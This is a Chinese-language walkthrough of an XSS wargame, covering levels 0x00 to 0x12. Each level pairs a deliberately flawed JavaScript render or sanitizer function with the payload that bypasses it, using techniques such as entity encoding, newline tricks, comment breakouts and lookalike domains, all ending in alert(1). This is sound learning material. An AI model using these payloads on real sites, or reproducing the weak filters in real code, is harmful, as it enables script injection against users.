Wargame-XSS-game

Wargame XSS-alert(1)

0x00 没有任何过滤

server code

function render (input) {
  return '<div>' + input + '</div>'
}

分析

对输入 input没有做任何的过滤,直接在div标签之间输出了

input code

<script>alert(1)</script>

0x01 textarea标签

server code

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

分析

对于输出input没有做任何的过滤,将input输出在了 textarea标签里,使用”“闭合前面的标签即可

Input code

</textarea><script>alert(1)</script><textarea>

0x02 input标签

server code

function render (input) {
  return '<input type="name" value="' + input + '">'
}

分析

这里返回了一个input标签,只需要闭合前面的双引号和尖括号即可 “>
或者是在input标签里使用onfocus事件,加上autofocus自动执行,无需交互

Input code

1"><script>alert(1)</script>
1" onfocus=javascript:alert(1) autofocus>

0x03 过滤圆括号和方括号

server code

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

分析

使用正则表达式全局匹配将[]和()替换成空字符

Input code

1、使用 反撇号 ` 代替圆括号

<img src=0 onerror="alert`1`">

2、将圆括号进行html实体编码

<img src=1 onerror=alert&#40;1&#41;>

<img src=1 onerror=alert&#x28;1&#x29>

<img src=1 onerror=alert&lpar;1&rpar;>

0x04 过滤方括号、圆括号、反撇号

server code

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

分析

过滤了方括号、圆括号、反撇号

Input code

使用HTML实体编码绕过

<img src=1 onerror=alert&#40;1&#41;>

<img src=1 onerror=alert&#x28;1&#x29>

<img src=1 onerror=alert&lpar;1&rpar;>

<svg><script>alert&#40;1&#41</script

0x05 绕过注释符

server code

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

分析

全局过滤了- 和 > 防止我们闭合注释

使用–!>绕过并跳出注释;

html注释:或者

Input code

--!><script>alert(1)</script>

0x06 换行绕过

server code

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

分析

全局匹配无论大小写以auto开头
或者on开头=结尾的字符串,将其替换成_
而且可以看到输出点限制在了input标签内

Input code

type=image src onerror
=alert(1)

2、使用换行符绕过正则匹配

onclick
=
alert(1)

0x07

server code

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

分析

匹配以 <开头 > 结尾的字符串
\/? 匹配 / 零次或一次
[^>] 该表达式匹配除 > 之外的其他字符

Input code

利用浏览器容错性,去掉>闭合绕过;最后加个空格或者回车

<svg/onload='alert(1)'

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;

<svg/onload=alert(1) 

0x08

server code

function render (src) {
      src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
      return `
        <style>
          ${src}
        </style>
      `
    }

分析

将</style>替换掉

在>前面加个空格绕过

</style >

Input code

1、在标签>闭合前加空格绕过;

</style ><script>alert(1)</script> 

2、在标签>闭合前换行绕过;

</style
><script>alert(1)</script>

0x09

server code

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

分析

验证url是不是 https://www.segmentfault.com
可以接着在后面闭合构造
或者在构造符合要求的url去调用

正则匹配以https://www.segmentfault.com开头的输入,若无匹配返回失败;

input code

闭合前面的 script

https://www.segmentfault.com"></script><script>alert(1)</script><"

或者构造url调用自己的js代码

https://www.segmentfault.com.xxxxx.xxxx/xss.js

0x0A

server code

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

分析

将 & ‘ “ < > / 全局替换为实体字符
但是可以使用以https://www.segmentfault.com开头的url链接去调用js

Input code

https://www.segmentfault.com.af/alert.js

0x0B

server code

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

分析

将输入的所有字符都转换为大写
大写的ALERT不是有效的JavaScript函数,用编码绕过小写到大写的替换即可

Input code

<img src=0 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
<svg><img src=0 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
<svg><script><img src=0 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;></script>

0x0C

server code

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

分析

全局匹配不能使用script

Input code

<img src=0 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

0x0D

server code

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

分析

正则匹配过滤 </“‘ 替换为空字符,输出是在//注释后面

输出点直接是在script标签内,通过换行绕过//注释
由于过滤了 / ,//和/**/注释失效,
过滤了’ 无法使用 (‘ 闭合后面的 ‘)
可使用HTML的–>闭合绕过

input code

1
alert(1)
-->

0x0E

server code

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

分析

正则匹配以<开头,后面接英文字母大小写字符 即 <+字母 的替换掉

查资料发现字符ſ大写后为S(ſ不等于s)

input

<ſcript src=0 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;></script>

0x0F

server code

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

分析

正则表达式将 & ‘ “ < > / 转换为实体符

console.error()向 Web 控制台输出一条错误消息。

虽然对很多字符进行了转义,但转义的结果仍在引号中,会被再次解释,故当做没有任何转义即可

input code

');alert('1

0x010

server code

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

分析

没有做任何过滤

input code

alert(1)

0x11

server code

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

分析

\\ ' ` < > \ \n \r \t \f \v 

前面加 \

input code

");alert(1)("

0x12

server code

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

分析

正则表达式将双引号进行了使用\转义
我们可以在加一个\将\再转义一次

input code

\");alert(1);//

参考

PayloadsAllTheThings

XSS插入绕过一些方式总结

可以被XSS利用的HTML标签和一些手段技巧